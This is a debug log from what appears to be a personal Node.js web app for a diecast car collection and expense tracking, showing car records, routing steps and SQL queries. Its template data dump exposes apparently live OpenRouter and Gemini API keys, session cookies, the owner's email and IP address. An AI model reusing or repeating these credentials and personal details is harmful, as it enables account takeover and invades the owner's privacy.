    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 33,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 31,
      model_name: 'Ravenger S/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 25,
      model_name: 'Terra-Tracktyl',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:48:43.213Z server-connect:router Serving templateView /diecast
2026-02-04T11:48:43.213Z server-connect:app Executing action step identify
2026-02-04T11:48:43.213Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:43.213Z server-connect:output identity: 1
2026-02-04T11:48:43.213Z server-connect:app Executing action step restrict
2026-02-04T11:48:43.213Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:48:43.213Z server-connect:output restrict: undefined
2026-02-04T11:48:43.213Z server-connect:router Render template layouts/main
2026-02-04T11:48:43.214Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { brand: '142' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=142',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:48:44.177Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:48:44.178Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:48:44.178Z server-connect:app Executing action step identify
2026-02-04T11:48:44.178Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.179Z server-connect:output identity: 1
2026-02-04T11:48:44.179Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.179Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.180Z server-connect:app Executing action step identify
2026-02-04T11:48:44.180Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.180Z server-connect:output identity: 1
2026-02-04T11:48:44.180Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.180Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.181Z server-connect:output restrict: undefined
2026-02-04T11:48:44.181Z server-connect:app Executing action step select
2026-02-04T11:48:44.181Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:48:44.182Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:44.182Z server-connect:output restrict: undefined
2026-02-04T11:48:44.182Z server-connect:app Executing action step single
2026-02-04T11:48:44.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:48:44.183Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:44.183Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:48:44.186Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:48:44.187Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:48:44.189Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:48:44.189Z server-connect:app Executing action step identify
2026-02-04T11:48:44.189Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.189Z server-connect:output identity: 1
2026-02-04T11:48:44.189Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.189Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.189Z server-connect:app Executing action step identify
2026-02-04T11:48:44.189Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.189Z server-connect:output identity: 1
2026-02-04T11:48:44.189Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.189Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.190Z server-connect:output restrict: undefined
2026-02-04T11:48:44.191Z server-connect:app Executing action step select
2026-02-04T11:48:44.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:44.191Z server-connect:output restrict: undefined
2026-02-04T11:48:44.191Z server-connect:app Executing action step select
2026-02-04T11:48:44.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:44.192Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:48:44.192Z server-connect:app Executing action step identify
2026-02-04T11:48:44.192Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.192Z server-connect:output identity: 1
2026-02-04T11:48:44.192Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.192Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.192Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:48:44.193Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:48:44.194Z server-connect:app Executing action step identify
2026-02-04T11:48:44.194Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:44.194Z server-connect:output identity: 1
2026-02-04T11:48:44.194Z server-connect:app Executing action step restrict
2026-02-04T11:48:44.194Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:44.194Z server-connect:output restrict: undefined
2026-02-04T11:48:44.194Z server-connect:app Executing action step paged
2026-02-04T11:48:44.194Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
